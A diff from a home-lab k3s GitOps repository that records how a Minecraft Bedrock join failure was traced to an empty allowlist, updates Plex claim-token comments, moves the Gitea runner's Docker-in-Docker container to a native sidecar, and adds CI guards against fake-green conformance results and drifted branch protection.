+  Xbox-side "not invited" cannot be fully excluded. It does not matter operationally: the allowlist must
+  be fixed regardless, and after that a retry distinguishes the two immediately.
+- **The multi-player SNAT question** remains open and untested.
+- **Nothing was written.** `allowlist.json`, `server.properties` and the DB were read only; no
+  `allowlist add` was issued, no console command sent, no `kubectl` mutation, no `flux reconcile`.
+
+### Operator actions — revised, allowlist first
+
+1. **Add each player's Xbox Gamertag to the allowlist.** Crafty → `K3s-Bedrock` → Console:
+   `allowlist add <Gamertag>` (quote if it contains a space). Takes effect immediately, no restart.
+   Verify with `allowlist list`. This is **the** fix for "You are not invited".
+2. **Then retry the join** from a Windows/mobile client: **Add Server** →
+   `crafty-mc.home.keithjackson.dev`, port **19132**. If it now connects, everything in these three
+   entries is closed. If it still refuses, capture the **panel console** output during the attempt —
+   that is the only place BDS's own reason is visible.
+3. **Do not set `allow-list=false`** as the fix. The game port is deliberately un-gated at the network
+   layer, so the allowlist is the only thing deciding who may join. (And console `allowlist off` does not
+   change `server.properties`, so it silently reverts on restart.)
+4. **Leave `transport=raknet` alone**, and keep ignoring both the `TRANSPORT TYPE ERROR` banner and the
+   `too few fields` warning — the server is reachable, proven by pong and by this refusal.
+5. **`auto_start=0` / `crash_detection=0` on `K3s-Bedrock` — still outstanding.** `PATCH
+   /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`, both true, **read them back**.
+6. **Treat `allowlist.json` and `transport=raknet` as backup-relevant PVC state.** A server recreate
+   resets the allowlist to `[]` and the transport to `nethernet` — both silently.
+
+## 2026-09-29 (closing) — a player has joined. The chain is closed: `allow-list=true` + an empty allowlist was the wall, and nothing else was
+
+The operator added one gamertag to the allowlist and the Bedrock client connected and joined. **The
+three-entry investigation above is now closed by a working server**, with no manifest change, no
+transport change, and no network change.
+
+### What is now OBSERVED (moved out of UNVERIFIED)
+
+- **A successful join.** *Operator-reported, 2026-09-29* — they added the player's gamertag and the
+  client connected and joined. **I did not watch the join**, and that distinction is kept deliberately;
+  this repo has been burned by collapsing it.
+- **Corroborated directly on disk, though**, which is stronger than the report alone:
+  `allowlist.json` went `[]` → **one entry**, 75 bytes, and that entry's **`xuid` is populated**
+  (`keys=['ignoresPlayerLimit','name','xuid']`, mtime **22:03:17**). `audit.log` shows the operator wrote
+  only the name — `Edited file …/allowlist.json` at **22:02:13**. The vendor doc: `xuid` is *"Optional.
+  If it's not set then it will be populated when someone with a matching name **connects**."* So the XUID
+  was written **by the server, on connect**, ~64 s after the operator's edit. That is server-authored
+  evidence of an Xbox-Live-authenticated join. *(Observed: file state, both timestamps, the audit line.
+  Reasoned from the vendor doc: populated XUID ⇒ a connect happened.)*
+- **The reasoned mapping is confirmed.** The client's *"You are not invited to play on this server"* was
+  mapped to the empty allowlist **by reasoning** from the vendor doc, because Crafty persists no BDS
+  stdout and there was no log to read it from. Adding **exactly one** gamertag and getting **exactly one**
+  successful join confirms that mapping. **`allow-list=true` + `allowlist.json == []` was the wall, and
+  nothing else was.**
+- **`transport=raknet` survives a restart.** The fix involved one: `stop_server` 22:02:37 →
+  `start_server` 22:02:41, pid **47006 → 47875**. Afterwards `server.properties` mtime is **still
+  21:33:31** with `transport=raknet`, UDP `4ABC` is bound by the new pid, there is still **no TCP 4ABC**,
+  and `192.168.2.22:19132` answered a fresh pong at 22:06 (`MCPE;…;1.26.52;0;10;…`, new `server_guid`
+  matching the new pid, `players=0` — the player had left).
+- **The route the operator used was file-edit + restart**, not the console `allowlist add` I put first:
+  `audit.log` edit 22:02:13 → stop → start. A restart is a valid substitute for `allowlist reload`.
+  Both routes now documented as proven; the console route is still preferred because it needs no restart.
+
+### The recommendation is now PROVEN, not provisional
+
+**Keep `transport=raknet` and enumerate players in the allowlist. Zero manifest change.** This is no
+longer the best-reasoned option — it is the configuration a player has demonstrably joined over
+`192.168.2.22:19132`. `service-l4.yaml`, `networkpolicy.yaml` and the `containerPort`s needed nothing.
+Ranking otherwise unchanged: Geyser #2 (reserve, and it cannot share 19132), pinning BDS #3,
+PocketMine/Nukkit #4, accept-NetherNet last — NetherNet is still **not in use**, would still need TCP
+19132 exposed in two places, and would still admit not one extra player.
+
+### Still open — NOT weakened by the success
+
+- **`K3s-Bedrock` still has `auto_start=0` and `crash_detection=0`.** Re-measured from `crafty.sqlite` at
+  22:06, *after* the successful join and after the operator's 22:02:28 `modified the server` action —
+  which did **not** change them. **The operator now has a working server that will silently not come back
+  after any pod restart**, and merging `fix/crafty-oauth2-proxy-signin` **is** such a restart
+  (`strategy: Recreate`, RWO volume) and would stop **both** Minecraft servers. This matters *more* now,
+  not less: the failure mode has changed from "never worked" to "worked, then vanished".
+- **The silent-reset exposure is unchanged, and now precisely characterised:**
+  a **restart** preserves `transport=raknet` and `allowlist.json` (observed above) but does not restart
+  the server itself (`auto_start=0`); a **server recreate or reinstall** resets `server.properties` to
+  `transport=nethernet` (nothing bound on 19132/udp) **and** `allowlist.json` to `[]` (everyone refused).
+  Neither reset announces itself, and the panel will show the server healthy and started. Both files are
+  PVC state Flux cannot restore. **Re-run the 5-step connect procedure after any recreate or BDS update.**
+- **L2/L3 conformance is still uncertified.** `CLUSTER_AVAILABLE` is unset, so the gate's `conformance`
+  stage does not run; `R-DNS-01 R-NET-01 R-PLAT-02 R-STATE-01` remain UNVERIFIED in CI. A player joining
+  is not a conformance test.
+- **Multi-player SNAT/UDP-conntrack is still untested.** Exactly **one** player has joined. Whether a
+  *second simultaneous* Bedrock player evicts the first behind the shared VIP and SNAT is unmeasured, and
+  a single successful session is precisely the evidence that does *not* settle it.
+- **I still never saw BDS's own console output** — `log_path` is `''`, `Dedicated_Server.txt` is 0 bytes.
+  Anything BDS itself said about the join is visible only live in the panel.
+- **Consoles still cannot reach this**, and LAN/Friends discovery still cannot work behind the VIP.
+- **Geyser remains entirely unmeasured**; the pinnability of a BDS version remains UNVERIFIED.
+
+### What changed in this repo
+
+`platform/crafty/README.md` and `DECISIONS-LOG.md`. **No manifest touched, in any of the three passes.**
+
+- Marked the join-gate section **RESOLVED and confirmed**, with the XUID-population evidence and the
+  operator-reported join labelled as exactly that.
+- Promoted the decision heading and option-1 row from provisional to **PROVEN**, and recorded that the
+  operator's actual route was file-edit + restart (route 2), with route 1 still preferred.
+- Rewrote Bedrock human-test 4 as a **5-step verified connect procedure**, each step with its distinct
+  failure signature, and stated plainly that the `TRANSPORT TYPE ERROR` banner and the `too few fields`
+  warning both appear on a fully working server — that pair misled two consecutive sessions.
+- Sharpened the PVC warning to distinguish **restart** (preserves both files; server stays down because
+  `auto_start=0`) from **recreate/reinstall** (silently resets transport *and* allowlist).
+
+### Operator actions — one is now urgent
+
+1. **`PATCH /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`** setting `auto_start` **and**
+   `crash_detection` true, **and read them back**. Both are still `0`. This is the only thing standing
+   between the working server and it disappearing at the next pod restart — including the restart that
+   merging `fix/crafty-oauth2-proxy-signin` will cause.
+2. **Leave `transport=raknet` and the allowlist alone.** Keep ignoring the `TRANSPORT TYPE ERROR` banner
+   and the `too few fields` warning.
+3. **Add a gamertag per additional player** — console `allowlist add <Gamertag>` (no restart needed).
+   Do **not** switch to `allow-list=false`: the game port is un-gated by design, so the allowlist is the
+   only join control.
+4. **After any Bedrock recreate or BDS update**, re-run the 5-step connect procedure — transport and
+   allowlist both reset silently.
+5. **Before announcing this to more than one player**, note that only one simultaneous session has been
+   proven; if a second player evicts the first, that is the SNAT/conntrack question and needs its own
+   measured investigation.

apps/wave-0/plex-claim-secret.sops.yaml

@@ -7,12 +7,20 @@
 # substitution). A braced token quoted from the upstream shell script would be a live hazard here,
 # not prose, so the upstream conditions below are described in words.
 #
-# THE VALUE SHIPPED WITH THIS FILE IS A PLACEHOLDER, DELIBERATELY — the literal string
-# `replace-me-with-a-fresh-plex-tv-claim-token`, not a credential. A https://plex.tv/claim token has
-# a ~4-minute TTL, far shorter than commit -> push -> Flux reconcile -> pod-roll, so no token
-# committed here is ever still valid when the pod starts. This file exists to make the Secret — and
-# therefore the env reference — ALWAYS RESOLVABLE IN THE FLUX GRAPH, not to carry a working token.
-# The real token is injected by the operator inside that 4-minute window: runbooks/plex-claim.md.
+# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
+# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
+# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
+# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
+# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
+#
+# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
+# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
+# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
+# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
+#
+# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
+# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
+# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
 #
 # WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
 # s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against

apps/wave-1/gitea-actions-runner-secret.sops.yaml

@@ -4,7 +4,13 @@
 # against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
 # decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
 # in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
-# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
+# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
+# Gitea API and writes it here via `sops set`, without the value ever being printed.
+# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
+# it still decrypts, redirect: `sops -d <file> > /dev/null`.
+# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
+# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
+# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
 apiVersion: v1
 kind: Secret
 metadata:

apps/wave-1/gitea-actions.yaml

@@ -99,70 +99,79 @@ spec:
       # CI holds no cluster credentials — do not mount a SA token into the runner or
       # (via the shared netns) the job containers (R-SEC-02, docs/14).
       automountServiceAccountToken: false
+      # ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
+      #
+      # NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
+      # `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
+      # running alongside them, and is terminated after them. kubelet holds `runner` until
+      # this container's startupProbe passes, so the ordering is enforced by the kubelet
+      # instead of hand-rolled shell in the runner.
+      #
+      # This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
+      # Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
+      # postBuild substitution over this ENTIRE manifest, comments included, and those loops
+      # depended on bare dollar-names surviving it untouched. There is now no shell here at
+      # all, so there is nothing to escape or mis-escape.
+      #
+      # WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
+      # re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
+      # and only THEN begins listening, so the port can accept a connection while the certs
+      # are absent or incomplete -- and act_runner hard-exits on a missing
+      # /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
+      # are usable and that the daemon answers.
+      #
+      # CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
+      # introduced this claimed the conversion would REMOVE the one-per-start dockerd line
+      # `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
+      # appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
+      # attempt, landing microseconds after dockerd begins listening and cut off by
+      # timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
+      # was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
+      # startup line would slow every subsequent poll. Left documented rather than silenced.
+      #
+      # periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
+      initContainers:
+        - name: dind
+          restartPolicy: Always   # <- this field is what makes it a SIDECAR
+          image: docker:27-dind
+          securityContext:
+            privileged: true
+          env:
+            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
+            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
+            - name: DOCKER_TLS_CERTDIR
+              value: /certs
+          volumeMounts:
+            - name: certs
+              mountPath: /certs
+            - name: dind-storage
+              mountPath: /var/lib/docker
+          resources:
+            requests:
+              cpu: 100m
+              memory: 256Mi
+            limits:
+              memory: 2Gi
+          startupProbe:
+            exec:
+              command:
+                - docker
+                - --host=tcp://127.0.0.1:2376
+                - --tlsverify
+                - --tlscacert=/certs/client/ca.pem
+                - --tlscert=/certs/client/cert.pem
+                - --tlskey=/certs/client/key.pem
+                - info
+            periodSeconds: 1
+            failureThreshold: 60
       containers:
         # ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
         - name: runner
           image: gitea/act_runner:0.2.11
-          # TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
-          # entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
-          # boot and runs `act_runner daemon`.
-          #
-          # STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
-          #   and hard-exits if it is missing (a startup race against the sidecar).
-          # STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
-          #   necessary but NOT sufficient. dockerd writes the certs and only THEN begins
-          #   listening on :2376, so a runner that proceeds on the file alone still hard-exits
-          #   with "cannot ping the docker daemon at tcp://localhost:2376" — observed
-          #   crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
-          # Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
-          # surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
-          #
-          # ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
-          #   braced form or the double-dollar form; both are wrong here, for different reasons.
-          #   clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
-          #   Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
-          #   Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
-          #   and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
-          #     - A bare  $name  is NOT a reference to envsubst: it passes through untouched, and
-          #       that holds even when the name IS set in cluster-vars. So $i and $j reach the
-          #       cluster verbatim and both 60s bounds below are real, enforced bounds.
-          #     - $((i + 1))  is likewise untouched: "(" cannot begin a variable name.
-          #     - A BRACED dollar-name IS a reference and gets replaced — with the empty string
-          #       when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
-          #       which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
-          #     - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
-          #       form — still wrong for us, because on any path where envsubst does NOT run
-          #       (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
-          #       reads that leading double-dollar as its own PID, so a bound would compare a
-          #       string like 1234{i} against 60. The bare form is the only spelling that is
-          #       correct on BOTH paths.
-          #     - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
-          #       name") that fails this whole Kustomization — and this Kustomization gates every
-          #       merge in the repo. So never write one anywhere in this file, INCLUDING in a
-          #       comment. That is why this note names the three forms in words rather than
-          #       showing them: an earlier draft of it spelled them out literally and broke
-          #       `flux envsubst` on the file. (Same trap the indexed-expansion warning in
-          #       clusters/base/apps-vms.yaml describes.)
-          command:
-            - /bin/sh
-            - -c
-            - |
-              # Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
-              i=0
-              until [ -f /certs/client/ca.pem ]; do
-                i=$((i + 1))
-                [ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
-                echo "waiting for dind TLS certs ($i)"; sleep 1
-              done
-              # Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
-              # Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
-              j=0
-              until nc -z -w1 127.0.0.1 2376; do
-                j=$((j + 1))
-                [ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
-                echo "waiting for dind daemon on :2376 ($j)"; sleep 1
-              done
-              exec /sbin/tini -- /opt/act/run.sh
+          # No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
+          # registers from env on first boot and runs `act_runner daemon`. The two wait-loops
+          # that used to live here are gone: kubelet now holds this container until the dind
+          # sidecar's startupProbe passes (see initContainers above).
           env:
             - name: GITEA_INSTANCE_URL
               value: https://gitea.${BASE_DOMAIN}
@@ -198,52 +207,6 @@ spec:
               memory: 128Mi
             limits:
               memory: 512Mi
-        # ---- Docker-in-Docker: the job executor daemon (privileged) ----
-        #
-        # FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
-        #   Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
-        #   k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
-        #   ordering that the loops above hand-roll — which also removes the envsubst hazard
-        #   from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
-        #   Shape to build:
-        #     1. Move this whole container into `initContainers:` as the FIRST entry.
-        #     2. Add `restartPolicy: Always` to it. That single field is what makes an
-        #        initContainer a sidecar: it starts before the regular containers, keeps
-        #        running alongside them, and is terminated after them.
-        #     3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
-        #        connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
-        #        --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
-        #        --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
-        #        it would re-open the same "port accepting but TLS/certs not ready" gap that
-        #        Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
-        #        preserves today's 60s cap.
-        #     4. kubelet then holds the `runner` container until that startupProbe passes, so
-        #        `runner` can drop its `command:` override completely and run the image's
-        #        default entrypoint.
-        #   Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
-        #   entire repository. If the conversion is wrong, nothing can merge — so it must land
-        #   alone, where the failure is unambiguous and not entangled with anything else, and
-        #   only after a real workflow run has been observed green on the converted pod.
-        - name: dind
-          image: docker:27-dind
-          securityContext:
-            privileged: true
-          env:
-            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
-            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
-            - name: DOCKER_TLS_CERTDIR
-              value: /certs
-          volumeMounts:
-            - name: certs
-              mountPath: /certs
-            - name: dind-storage
-              mountPath: /var/lib/docker
-          resources:
-            requests:
-              cpu: 100m
-              memory: 256Mi
-            limits:
-              memory: 2Gi
       volumes:
         - name: data
           persistentVolumeClaim:

catalog/plex.yaml

@@ -38,11 +38,17 @@ env:
   # UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
   # half of that reasoning survived contact with the upstream source.
   #
-  # THE 4-MINUTE TTL IS STILL TRUE, and it is now the OPERATIONAL constraint rather than a reason to
-  # abstain. A https://plex.tv/claim token expires in ~4 minutes — far shorter than commit -> push ->
-  # Flux reconcile -> pod-roll if that cycle is left to its own timers. So the committed value is a
-  # documented PLACEHOLDER and the live token is injected by the operator inside that window, with an
-  # explicit `flux reconcile` to collapse the wait: runbooks/plex-claim.md is the timed procedure.
+  # A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
+  # expires in MINUTES — read the countdown the claim page renders; do not budget against a number
+  # written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
+  # UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
+  # for the whole procedure design — including a since-disproven claim that the delivery pipeline was
+  # too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
+  #
+  # The live token is injected by the operator inside that window, with an explicit `flux reconcile`
+  # to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
+  # the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
+  # committed value is the spent token from that claim rather than the original placeholder.
   #
   # ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
   # (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in

ci/Makefile

@@ -32,6 +32,9 @@ render-golden: ## render==golden: canonical render reproduces committed apps/ (n
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
+	@./gitea-settings.sh
+
 conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
 	@"$(CI_DIR)conformance.sh"
 

ci/README.md

@@ -1,5 +1,19 @@
 # `ci/` — portable merge gate (runnable today, without Gitea)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 **Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
 
 The same merge gate the Gitea Actions workflow runs

ci/conformance.sh

@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
   cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
 fi
 
+# ---------------------------------------------------------------------------------------
+# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
+#
+# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
+# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
+# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
+# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
+# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
+#
+# MEASURED 2026-09-29, before this guard existed:
+#   CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
+#   "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
+#   "[ ok ] L2/L3 conformance passed for touched subset"
+# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
+# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
+# it because nobody had ever set the variable.
+#
+# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
+# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
+# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
+# makes the stage itself honour that instead of reporting a pass.
+JUNIT="${CONF_ART}/report.junit.xml"
+if [ -f "$JUNIT" ]; then
+  total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
+  skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
+  if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
+    err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
+    err "  (scaffold mode -- run.sh could not reach a cluster and exited 0)."
+    err "  This stage will NOT report that as a pass. Either the cluster is unreachable from"
+    err "  this runner, or CLUSTER_AVAILABLE is set when it should not be."
+    err "  NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
+    err "  docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
+    err "  by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
+    err "  runner has no credential for (automountServiceAccountToken: false, by design)."
+    summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
+    exit 1
+  fi
+  log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
+fi
+
 ok "L2/L3 conformance passed for touched subset"
 summary "- conformance-l2-l3: **passed**"

ci/gate.sh

@@ -112,6 +112,7 @@ run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
 echo >&2
@@ -188,6 +189,31 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
+# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
+# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
+# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
+# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
+# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
+# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
+# token is wired, and the skip becomes a block as it should.
+case "${OUTCOME[gitea-settings]}" in
+  fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
+  skip)
+    if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
+      err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
+      summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
+      BLOCK=1
+    else
+      warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
+      warn "  registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
+      warn "  (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
+      summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
+      NOT_ESTABLISHED+=("gitea-settings")
+    fi ;;
+  pass) ok "gitea-settings: green" ;;
+esac
+
 # L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
 # unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
 # degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a

ci/gitea-settings.sh

@@ -0,0 +1,126 @@
+#!/usr/bin/env bash
+# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
+# match what git declares.
+#
+# WHY THIS STAGE EXISTS AT ALL
+# ----------------------------
+# Every other check in this repo reads the repository, the rendered manifests, or the
+# cluster. NONE of them can see Gitea's own database — and that is where branch
+# protection and runner registration live. On 2026-09-29 that blind spot was measured:
+#
+#   * `main` had NO branch protection, and
+#   * ZERO Actions runners were registered,
+#
+# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
+# and human in the loop repeated that claim because the repository said so. PR #1 — the
+# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
+# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
+# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
+# merged with zero approvals recorded against `required_approvals: 1`.
+#
+# Three separate failures, one shape: a setting that READ as enforced while not being, with
+# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
+# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
+#
+# WHAT IT ASSERTS
+#   1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
+#      LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
+#   2. at least `.runners_online_min` Actions runners report status "online".
+#
+# (2) is not decoration. A required status check with no runner is the deadlock this repo
+# nearly walked into: every PR pends forever, including the one that would fix it.
+#
+# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
+# `protected`, `enable_status_check` and `required_approvals` but NOT
+# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
+# only account that merges. This stage queries /branch_protections/ deliberately.
+#
+# EXIT CODES (the gate contract)
+#   0  live Gitea matches the declaration
+#   1  DIVERGENCE — something drifted, or was never applied. Blocks the merge.
+#   3  SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
+#      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
+#      that an unwired credential cannot lock the repository.
+#
+# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
+# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
+# the drift it exists to catch is still undetected.
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: Gitea platform settings match the declaration"
+
+DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
+# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
